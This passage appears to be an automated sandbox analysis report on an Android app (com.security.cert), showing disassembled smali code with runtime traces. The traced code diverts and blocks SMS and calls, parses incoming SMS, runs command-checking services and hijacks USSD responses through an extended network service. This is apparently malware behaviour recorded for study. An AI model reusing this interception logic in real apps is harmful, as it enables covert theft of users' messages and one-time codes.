5invoke-interface {v0, p1, v1}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Time: 155319
    • param0: numbers_to_sms_divert
    • param1: null
    • Return:
      • null
  • Time: 173326
    • param0: numbers_to_call_block
    • param1: null
    • Return:
      • \+41987654321
6move-result-object v0
7return-object v0
APIs
  • android.content.Intent.<init>
  • com.security.cert.ui.MainActivity.startService
Position Instruction Meta Information
0new-instance v0, Landroid/content/Intent;
1const-class v1, Lcom/security/cert/services/CheckCommandsService;
3invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
5invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 173321
    • param0: Intent { cmp=com.security.cert/.services.CheckCommandsService }
    • Return:
      • ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
6new-instance v0, Landroid/content/Intent;
7const-class v1, Lcom/security/cert/services/CheckQueueService;
9invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
11invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 173325
    • param0: Intent { cmp=com.security.cert/.services.CheckQueueService }
    • Return:
      • ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
12return-void
APIs
  • android.content.Intent.<init>
  • com.security.cert.ui.MainActivity.startService
Position Instruction Meta Information
0new-instance v0, Landroid/content/Intent;
1const-class v1, Lcom/security/cert/services/CheckCommandsService;
3invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
5invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 155317
    • param0: Intent { cmp=com.security.cert/.services.CheckCommandsService }
    • Return:
      • ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
6new-instance v0, Landroid/content/Intent;
7const-class v1, Lcom/security/cert/services/CheckQueueService;
9invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
11invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 155318
    • param0: Intent { cmp=com.security.cert/.services.CheckQueueService }
    • Return:
      • ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
12return-void
APIs
  • android.content.Intent.getAction
  • java.lang.String.equalsIgnoreCase
Strings
  • android.intent.action.RE_CHECK_COMMAND
Position Instruction Meta Information
1invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 114953
    • Return:
      • android.intent.action.RE_CHECK_COMMAND
2move-result-object v0
4const-string v1, "android.intent.action.RE_CHECK_COMMAND"
6invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • param0: android.intent.action.RE_CHECK_COMMAND
7move-result v0
8if-eqz v0, :cond_14
9new-instance v0, Lcom/security/cert/b/b/a/a;
11invoke-direct {v0, p1}, Lcom/security/cert/b/b/a/a;-><init>(Landroid/content/Context;)V
13invoke-static {p1, v0}, Lcom/security/cert/a/a/c;->a(Landroid/content/Context;Lcom/security/cert/b/b/a/b;)V
14cond_14: return-void
APIs
  • android.telephony.SmsManager.createFromPdu
  • android.telephony.SmsManager.getDisplayOriginatingAddress
Strings
  • 0123456789
Position Instruction Meta Information
0const/4 v0, 0x0
1aget-object v0, p1, v0
2check-cast v0, [B
3check-cast v0, [B
5invoke-static {v0}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
  • Time: 155341
    • param0: [B@a0722a60
    • param0: 2Tvz
    • param0: 01000A811032547698000005C47ABB9D07
    • Return:
      • android.telephony.SmsMessage@a06d42d8
  • Time: 184832
    • param0: [B@a07169e8
    • param0: 2Tvz
    • param0: 01000A811032547698000005C47ABB9D07
    • Return:
      • android.telephony.SmsMessage@a06dbf18
6move-result-object v0
8invoke-virtual {v0}, Landroid/telephony/SmsMessage;->getDisplayOriginatingAddress()Ljava/lang/String;
  • Time: 155350
    • Return:
      • 0123456789
9move-result-object v0
10return-object v0
APIs
  • android.app.SharedPreferencesImpl.getString
Strings
  • 906251865357964
  • user_id
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences;
2move-result-object v0
4const-string v1, "user_id"
5const/4 v2, 0x0
7invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Time: 114291
    • param0: user_id
    • param1: null
    • Return:
      • null
  • Time: 114932
    • param0: user_id
    • param1: null
    • Return:
      • 906251865357964
8move-result-object v0
9return-object v0
Non-Executed Methods
APIs
  • java.lang.String.contentEquals
  • com.security.cert.services.USSDDumbExtendedNetworkService.a
  • android.util.Log.d
  • java.lang.String.contentEquals
  • com.security.cert.services.USSDDumbExtendedNetworkService.a
  • android.util.Log.d
  • java.lang.String.contentEquals
  • com.security.cert.services.USSDDumbExtendedNetworkService.a
  • android.util.Log.d
  • com.security.cert.services.USSDDumbExtendedNetworkService.a
  • com.security.cert.services.USSDDumbExtendedNetworkService.b
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
  • java.lang.CharSequence.toString
  • android.net.Uri$Builder.<init>
  • android.net.Uri$Builder.scheme
  • android.net.Uri$Builder.authority
  • android.net.Uri$Builder.path
  • java.lang.CharSequence.toString
  • android.net.Uri$Builder.appendQueryParameter
  • android.net.Uri$Builder.build
  • android.content.Intent.<init>
  • com.security.cert.services.USSDDumbExtendedNetworkService.sendBroadcast
  • com.security.cert.services.USSDDumbExtendedNetworkService.a
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
Strings
  • :ON;)
  • USSDDumbExtendedNetworkService
  • control: ON
  • :OFF;(
  • control: OFF
  • :RETVAL;(
  • control: return
  • getUserMessage deactivated:
  • ussd
  • senneco.com
  • /
  • return
  • android.intent.action.GET_CONTENT
  • getUserMessage:
  • =
Position Instruction Meta Information
0const/4 v5, 0x0
2const-string v0, ":ON;)"
4invoke-virtual {v0, p1}, Ljava/lang/String;->contentEquals(Ljava/lang/CharSequence;)Z
5move-result v0
6if-eqz v0, :cond_15
7const/4 v0, 0x1
9invoke-static {v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Z)Z
  • Data flow analysis:
    • param0: 1
11const-string v0, "USSDDumbExtendedNetworkService"
13const-string v1, "control: ON"
15invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: USSDDumbExtendedNetworkService
    • msg: control: ON
16goto_14: return-object p1
17cond_15:
18const-string v0, ":OFF;("
20invoke-virtual {v0, p1}, Ljava/lang/String;->contentEquals(Ljava/lang/CharSequence;)Z
21move-result v0
22if-eqz v0, :cond_28
24invoke-static {v5}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Z)Z
  • Data flow analysis:
    • param0: 0
26const-string v0, "USSDDumbExtendedNetworkService"
28const-string v1, "control: OFF"
30invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: USSDDumbExtendedNetworkService
    • msg: control: OFF
31goto/16 :goto_14
32cond_28:
33const-string v0, ":RETVAL;("
35invoke-virtual {v0, p1}, Ljava/lang/String;->contentEquals(Ljava/lang/CharSequence;)Z
36move-result v0
37if-eqz v0, :cond_3f
39invoke-static {v5}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Z)Z
  • Data flow analysis:
    • param0: 0
41const-string v0, "USSDDumbExtendedNetworkService"
43const-string v1, "control: return"
45invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: USSDDumbExtendedNetworkService
    • msg: control: return
47invoke-static {}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a()Ljava/lang/CharSequence;
48move-result-object p1
49goto/16 :goto_14
50cond_3f:
51invoke-static {}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->b()Z
52move-result v0
53if-nez v0, :cond_5e
55const-string v0, "USSDDumbExtendedNetworkService"
56new-instance v1, Ljava/lang/StringBuilder;
58invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
60const-string v2, "getUserMessage deactivated: "
62invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: getUserMessage deactivated:
63move-result-object v1
65invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
66move-result-object v1
68invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
69move-result-object v1
71invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: USSDDumbExtendedNetworkService
72goto/16 :goto_14
73cond_5e:
74invoke-interface {p1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
75move-result-object v0
76new-instance v1, Landroid/net/Uri$Builder;
78invoke-direct {v1}, Landroid/net/Uri$Builder;-><init>()V
80const-string v2, "ussd"
82invoke-virtual {v1, v2}, Landroid/net/Uri$Builder;->scheme(Ljava/lang/String;)Landroid/net/Uri$Builder;
  • Data flow analysis:
    • param0: ussd
83move-result-object v1
85const-string v2, "senneco.com"
87invoke-virtual {v1, v2}, Landroid/net/Uri$Builder;->authority(Ljava/lang/String;)Landroid/net/Uri$Builder;
  • Data flow analysis:
    • param0: senneco.com
88move-result-object v1
90const-string v2, "/"
92invoke-virtual {v1, v2}, Landroid/net/Uri$Builder;->path(Ljava/lang/String;)Landroid/net/Uri$Builder;
  • Data flow analysis:
    • param0: /
93move-result-object v1
95const-string v2, "return"
97invoke-interface {p1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
98move-result-object v3
100invoke-virtual {v1, v2, v3}, Landroid/net/Uri$Builder;->appendQueryParameter(Ljava/lang/String;Ljava/lang/String;)Landroid/net/Uri$Builder;
  • Data flow analysis:
    • param0: return
101move-result-object v1
103invoke-virtual {v1}, Landroid/net/Uri$Builder;->build()Landroid/net/Uri;
104move-result-object v1
106iget-object v2, p0, Lcom/security/cert/services/d;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService;
107new-instance v3, Landroid/content/Intent;
109const-string v4, "android.intent.action.GET_CONTENT"
111invoke-direct {v3, v4, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • param0: android.intent.action.GET_CONTENT
113invoke-virtual {v2, v3}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->sendBroadcast(Landroid/content/Intent;)V
115invoke-static {v5}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Z)Z
  • Data flow analysis:
    • param0: 0
117invoke-static {p1}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Ljava/lang/CharSequence;)Ljava/lang/CharSequence;
119const-string v1, "USSDDumbExtendedNetworkService"
120new-instance v2, Ljava/lang/StringBuilder;
122invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
124const-string v3, "getUserMessage: "
126invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: getUserMessage:
127move-result-object v2
129invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
130move-result-object v2
132const-string v3, "="
134invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: =
135move-result-object v2
137invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
138move-result-object v0
140invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
141move-result-object v0
143invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: USSDDumbExtendedNetworkService
144const/4 p1, 0x0
145goto/16 :goto_14
APIs
  • java.lang.Object.<init>
  • org.apache.http.params.BasicHttpParams.<init>
  • org.apache.http.conn.params.ConnManagerParams.setTimeout
  • org.apache.http.conn.params.ConnPerRouteBean.<init>
  • org.apache.http.conn.params.ConnManagerParams.setMaxConnectionsPerRoute
  • org.apache.http.conn.params.ConnManagerParams.setMaxTotalConnections
  • org.apache.http.params.HttpConnectionParams.setSoTimeout
  • org.apache.http.params.HttpConnectionParams.setConnectionTimeout
  • org.apache.http.params.HttpConnectionParams.setTcpNoDelay
  • org.apache.http.params.HttpConnectionParams.setSocketBufferSize
  • org.apache.http.params.HttpProtocolParams.setVersion
  • java.lang.String.format
  • org.apache.http.params.HttpProtocolParams.setUserAgent
  • org.apache.http.conn.scheme.SchemeRegistry.<init>
  • org.apache.http.conn.scheme.PlainSocketFactory.getSocketFactory
  • org.apache.http.conn.scheme.Scheme.<init>
  • org.apache.http.conn.scheme.SchemeRegistry.register
  • org.apache.http.conn.ssl.SSLSocketFactory.getSocketFactory
  • org.apache.http.conn.scheme.Scheme.<init>
  • org.apache.http.conn.scheme.SchemeRegistry.register
  • org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager.<init>
  • org.apache.http.protocol.BasicHttpContext.<init>
  • org.apache.http.protocol.SyncBasicHttpContext.<init>
  • org.apache.http.impl.client.DefaultHttpClient.<init>
  • org.apache.http.impl.client.DefaultHttpClient.addRequestInterceptor
  • org.apache.http.impl.client.DefaultHttpClient.addResponseInterceptor
  • org.apache.http.impl.client.DefaultHttpClient.setHttpRequestRetryHandler
  • java.util.concurrent.Executors.newCachedThreadPool
  • java.util.WeakHashMap.<init>
  • java.util.HashMap.<init>
Strings
  • android-async-http/%s (http://loopj.com/android-async-http)
  • 1.4.1
  • http
  • https
Position Instruction Meta Information
0const/4 v3, 0x1
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3new-instance v0, Lorg/apache/http/params/BasicHttpParams;
5invoke-direct {v0}, Lorg/apache/http/params/BasicHttpParams;-><init>()V
6sget v1, Lcom/b/a/a/a;->b:I
7int-to-long v1, v1
9invoke-static {v0, v1, v2}, Lorg/apache/http/conn/params/ConnManagerParams;->setTimeout(Lorg/apache/http/params/HttpParams;J)V
10new-instance v1, Lorg/apache/http/conn/params/ConnPerRouteBean;
11sget v2, Lcom/b/a/a/a;->a:I
13invoke-direct {v1, v2}, Lorg/apache/http/conn/params/ConnPerRouteBean;-><init>(I)V
15invoke-static {v0, v1}, Lorg/apache/http/conn/params/ConnManagerParams;->setMaxConnectionsPerRoute(Lorg/apache/http/params/HttpParams;Lorg/apache/http/conn/params/ConnPerRoute;)V
16const/16 v1, 0xa
18invoke-static {v0, v1}, Lorg/apache/http/conn/params/ConnManagerParams;->setMaxTotalConnections(Lorg/apache/http/params/HttpParams;I)V
  • Data flow analysis:
    • param1: 10
19sget v1, Lcom/b/a/a/a;->b:I
21invoke-static {v0, v1}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V
22sget v1, Lcom/b/a/a/a;->b:I
24invoke-static {v0, v1}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V
26invoke-static {v0, v3}, Lorg/apache/http/params/HttpConnectionParams;->setTcpNoDelay(Lorg/apache/http/params/HttpParams;Z)V
  • Data flow analysis:
    • param1: 1
27const/16 v1, 0x2000
29invoke-static {v0, v1}, Lorg/apache/http/params/HttpConnectionParams;->setSocketBufferSize(Lorg/apache/http/params/HttpParams;I)V
  • Data flow analysis:
    • param1: 8192
31sget-object v1, Lorg/apache/http/HttpVersion;->HTTP_1_1:Lorg/apache/http/HttpVersion;
33invoke-static {v0, v1}, Lorg/apache/http/params/HttpProtocolParams;->setVersion(Lorg/apache/http/params/HttpParams;Lorg/apache/http/ProtocolVersion;)V
35const-string v1, "android-async-http/%s (http://loopj.com/android-async-http)"
36new-array v2, v3, [Ljava/lang/Object;
37const/4 v3, 0x0
39const-string v4, "1.4.1"
40aput-object v4, v2, v3
42invoke-static {v1, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
  • Data flow analysis:
    • param0: android-async-http/%s (http://loopj.com/android-async-http)
43move-result-object v1
45invoke-static {v0, v1}, Lorg/apache/http/params/HttpProtocolParams;->setUserAgent(Lorg/apache/http/params/HttpParams;Ljava/lang/String;)V
46new-instance v1, Lorg/apache/http/conn/scheme/SchemeRegistry;
48invoke-direct {v1}, Lorg/apache/http/conn/scheme/SchemeRegistry;-><init>()V
49new-instance v2, Lorg/apache/http/conn/scheme/Scheme;
51const-string v3, "http"
53invoke-static {}, Lorg/apache/http/conn/scheme/PlainSocketFactory;->getSocketFactory()Lorg/apache/http/conn/scheme/PlainSocketFactory;
54move-result-object v4
55const/16 v5, 0x50
57invoke-direct {v2, v3, v4, v5}, Lorg/apache/http/conn/scheme/Scheme;-><init>(Ljava/lang/String;Lorg/apache/http/conn/scheme/SocketFactory;I)V
  • Data flow analysis:
    • param0: http
    • param2: 80
59invoke-virtual {v1, v2}, Lorg/apache/http/conn/scheme/SchemeRegistry;->register(Lorg/apache/http/conn/scheme/Scheme;)Lorg/apache/http/conn/scheme/Scheme;
60new-instance v2, Lorg/apache/http/conn/scheme/Scheme;
62const-string v3, "https"
64invoke-static {}, Lorg/apache/http/conn/ssl/SSLSocketFactory;->getSocketFactory()Lorg/apache/http/conn/ssl/SSLSocketFactory;
65move-result-object v4
66const/16 v5, 0x1bb
68invoke-direct {v2, v3, v4, v5}, Lorg/apache/http/conn/scheme/Scheme;-><init>(Ljava/lang/String;Lorg/apache/http/conn/scheme/SocketFactory;I)V
  • Data flow analysis:
    • param0: https
    • param2: 443
70invoke-virtual {v1, v2}, Lorg/apache/http/conn/scheme/SchemeRegistry;->register(Lorg/apache/http/conn/scheme/Scheme;)Lorg/apache/http/conn/scheme/Scheme;
71new-instance v2, Lorg/apache/http/impl/conn/tsccm/ThreadSafeClientConnManager;
73invoke-direct {v2, v0, v1}, Lorg/apache/http/impl/conn/tsccm/ThreadSafeClientConnManager;-><init>(Lorg/apache/http/params/HttpParams;Lorg/apache/http/conn/scheme/SchemeRegistry;)V
74new-instance v1, Lorg/apache/http/protocol/SyncBasicHttpContext;
75new-instance v3, Lorg/apache/http/protocol/BasicHttpContext;
77invoke-direct {v3}, Lorg/apache/http/protocol/BasicHttpContext;-><init>()V
79invoke-direct {v1, v3}, Lorg/apache/http/protocol/SyncBasicHttpContext;-><init>(Lorg/apache/http/protocol/HttpContext;)V
80iput-object v1, p0, Lcom/b/a/a/a;->d:Lorg/apache/http/protocol/HttpContext;
81new-instance v1, Lorg/apache/http/impl/client/DefaultHttpClient;
83invoke-direct {v1, v2, v0}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>(Lorg/apache/http/conn/ClientConnectionManager;Lorg/apache/http/params/HttpParams;)V
84iput-object v1, p0, Lcom/b/a/a/a;->c:Lorg/apache/http/impl/client/DefaultHttpClient;
86iget-object v0, p0, Lcom/b/a/a/a;->c:Lorg/apache/http/impl/client/DefaultHttpClient;
87new-instance v1, Lcom/b/a/a/b;
89invoke-direct {v1, p0}, Lcom/b/a/a/b;-><init>(Lcom/b/a/a/a;)V
91invoke-virtual {v0, v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->addRequestInterceptor(Lorg/apache/http/HttpRequestInterceptor;)V
93iget-object v0, p0, Lcom/b/a/a/a;->c:Lorg/apache/http/impl/client/DefaultHttpClient;
94new-instance v1, Lcom/b/a/a/c;
96invoke-direct {v1, p0}, Lcom/b/a/a/c;-><init>(Lcom/b/a/a/a;)V
98invoke-virtual {v0, v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->addResponseInterceptor(Lorg/apache/http/HttpResponseInterceptor;)V
100iget-object v0, p0, Lcom/b/a/a/a;->c:Lorg/apache/http/impl/client/DefaultHttpClient;
101new-instance v1, Lcom/b/a/a/j;
102const/4 v2, 0x5
104invoke-direct {v1, v2}, Lcom/b/a/a/j;-><init>(I)V
106invoke-virtual {v0, v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->setHttpRequestRetryHandler(Lorg/apache/http/client/HttpRequestRetryHandler;)V
108invoke-static {}, Ljava/util/concurrent/Executors;->newCachedThreadPool()Ljava/util/concurrent/ExecutorService;
109move-result-object v0
110check-cast v0, Ljava/util/concurrent/ThreadPoolExecutor;
111iput-object v0, p0, Lcom/b/a/a/a;->e:Ljava/util/concurrent/ThreadPoolExecutor;
112new-instance v0, Ljava/util/WeakHashMap;
114invoke-direct {v0}, Ljava/util/WeakHashMap;-><init>()V
115iput-object v0, p0, Lcom/b/a/a/a;->f:Ljava/util/Map;
116new-instance v0, Ljava/util/HashMap;
118invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
119iput-object v0, p0, Lcom/b/a/a/a;->g:Ljava/util/Map;
120return-void
APIs
  • android.os.Binder.onTransact
  • android.os.Parcel.writeString
  • android.os.Parcel.enforceInterface
  • android.os.Parcel.readString
  • com.a.a.a.b.a
  • android.os.Parcel.writeNoException
  • android.os.Parcel.enforceInterface
  • com.a.a.a.b.a
  • android.os.Parcel.writeNoException
  • android.os.Parcel.writeInt
  • android.text.TextUtils.writeToParcel
  • android.os.Parcel.writeInt
  • android.os.Parcel.enforceInterface
  • android.os.Parcel.readInt
  • android.os.Parcelable$Creator.createFromParcel
  • com.a.a.a.b.a
  • android.os.Parcel.writeNoException
  • android.os.Parcel.writeInt
  • android.text.TextUtils.writeToParcel
  • android.os.Parcel.writeInt
  • android.os.Parcel.enforceInterface
  • com.a.a.a.b.b
  • android.os.Parcel.writeNoException
Strings
  • com.android.internal.telephony.IExtendedNetworkService
Position Instruction Meta Information
0const/4 v2, 0x0
1const/4 v1, 0x1
2sparse-switch p1, :sswitch_data_74
4invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
5move-result v0
6goto_9: return v0
7sswitch_a:
8const-string v0, "com.android.internal.telephony.IExtendedNetworkService"
10invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
  • Data flow analysis:
    • param0: com.android.internal.telephony.IExtendedNetworkService
11move v0, v1
12goto/16 :goto_9
13sswitch_11:
14const-string v0, "com.android.internal.telephony.IExtendedNetworkService"
16invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
  • Data flow analysis:
    • param0: com.android.internal.telephony.IExtendedNetworkService
18invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
19move-result-object v0
21invoke-virtual {p0, v0}, Lcom/a/a/a/b;->a(Ljava/lang/String;)V
23invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
24move v0, v1
25goto/16 :goto_9
26sswitch_22:
27const-string v0, "com.android.internal.telephony.IExtendedNetworkService"
29invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
  • Data flow analysis:
    • param0: com.android.internal.telephony.IExtendedNetworkService
31invoke-virtual {p0}, Lcom/a/a/a/b;->a()Ljava/lang/CharSequence;
32move-result-object v0
34invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
35if-eqz v0, :cond_38
37invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
  • Data flow analysis:
    • param0: 1
39invoke-static {v0, p3, v1}, Landroid/text/TextUtils;->writeToParcel(Ljava/lang/CharSequence;Landroid/os/Parcel;I)V
  • Data flow analysis:
    • parcelableFlags: 1
40goto_36: move v0, v1
41goto/16 :goto_9
42cond_38:
43invoke-virtual {p3, v2}, Landroid/os/Parcel;->writeInt(I)V
  • Data flow analysis:
    • param0: 0
44goto/16 :goto_36
45sswitch_3c:
46const-string v0, "com.android.internal.telephony.IExtendedNetworkService"
48invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
  • Data flow analysis:
    • param0: com.android.internal.telephony.IExtendedNetworkService
50invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
51move-result v0
52if-eqz v0, :cond_60
54sget-object v0, Landroid/text/TextUtils;->CHAR_SEQUENCE_CREATOR:Landroid/os/Parcelable$Creator;
56invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
57move-result-object v0
58check-cast v0, Ljava/lang/CharSequence;
59goto_4f:
60invoke-virtual {p0, v0}, Lcom/a/a/a/b;->a(Ljava/lang/CharSequence;)Ljava/lang/CharSequence;
61move-result-object v0
63invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
64if-eqz v0, :cond_62
66invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
  • Data flow analysis:
    • param0: 1
68invoke-static {v0, p3, v1}, Landroid/text/TextUtils;->writeToParcel(Ljava/lang/CharSequence;Landroid/os/Parcel;I)V
  • Data flow analysis:
    • parcelableFlags: 1
69goto_5e: move v0, v1
70goto/16 :goto_9
71cond_60: const/4 v0, 0x0
72goto/16 :goto_4f
73cond_62:
74invoke-virtual {p3, v2}, Landroid/os/Parcel;->writeInt(I)V
  • Data flow analysis:
    • param0: 0
75goto/16 :goto_5e
76sswitch_66:
77const-string v0, "com.android.internal.telephony.IExtendedNetworkService"
79invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
  • Data flow analysis:
    • param0: com.android.internal.telephony.IExtendedNetworkService
81invoke-virtual {p0}, Lcom/a/a/a/b;->b()V
83invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
84move v0, v1
85goto/16 :goto_9
86nop
APIs
  • org.json.JSONArray.length
  • org.json.JSONArray.getString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • android.text.TextUtils.join
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.String.replaceAll
Strings
  • ((
  • )|(
  • ))
  • all
  • .*
  • \\+
  • \\\\+
  • \\*
  • \\.
Position Instruction Meta Information
0instance-of v0, p1, Lorg/json/JSONArray;
1if-eqz v0, :cond_46
2check-cast p1, Lorg/json/JSONArray;
4invoke-virtual {p1}, Lorg/json/JSONArray;->length()I
5move-result v0
6new-array v1, v0, [Ljava/lang/String;
7const/4 v0, 0x0
8goto_d:
9invoke-virtual {p1}, Lorg/json/JSONArray;->length()I
10move-result v2
11if-ge v0, v2, :cond_1c
13invoke-virtual {p1, v0}, Lorg/json/JSONArray;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • param0: 0
14move-result-object v2
15aput-object v2, v1, v0
16add-int/lit8 v0, v0, 0x1
17goto/16 :goto_d
18cond_1c: new-instance v0, Ljava/lang/StringBuilder;
20invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
22const-string v2, "(("
24invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: ((
25move-result-object v0
27const-string v2, ")|("
29invoke-static {v2, v1}, Landroid/text/TextUtils;->join(Ljava/lang/CharSequence;[Ljava/lang/Object;)Ljava/lang/String;
  • Data flow analysis:
    • param0: )|(
30move-result-object v1
32invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
33move-result-object v0
35const-string v1, "))"
37invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: ))
38move-result-object v0
40invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
41move-result-object p1
42goto_3b:
43const-string v0, "all"
45invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: all
46move-result v0
47if-eqz v0, :cond_49
49const-string v0, ".*"
50goto_45: return-object v0
51cond_46: check-cast p1, Ljava/lang/String;
52goto/16 :goto_3b
53cond_49:
54const-string v0, "\\+"
56const-string v1, "\\\\+"
58invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • param0: \\+
    • param1: \\\\+
59move-result-object v0
61const-string v1, "\\*"
63const-string v2, "\\."
65invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • param0: \\*
    • param1: \\.
66move-result-object v0
67goto/16 :goto_45
APIs
  • android.content.Intent.getAction
  • java.lang.String.equals
  • com.security.cert.services.USSDDumbExtendedNetworkService.a
  • android.content.Context.getString
  • com.security.cert.services.USSDDumbExtendedNetworkService.a
  • android.util.Log.d
  • android.content.Intent.getAction
  • java.lang.String.equals
  • com.security.cert.services.USSDDumbExtendedNetworkService.a
  • android.util.Log.d
Strings
  • android.intent.action.INSERT
  • USSDDumbExtendedNetworkService
  • activate
  • android.intent.action.DELETE
  • deactivate
Position Instruction Meta Information
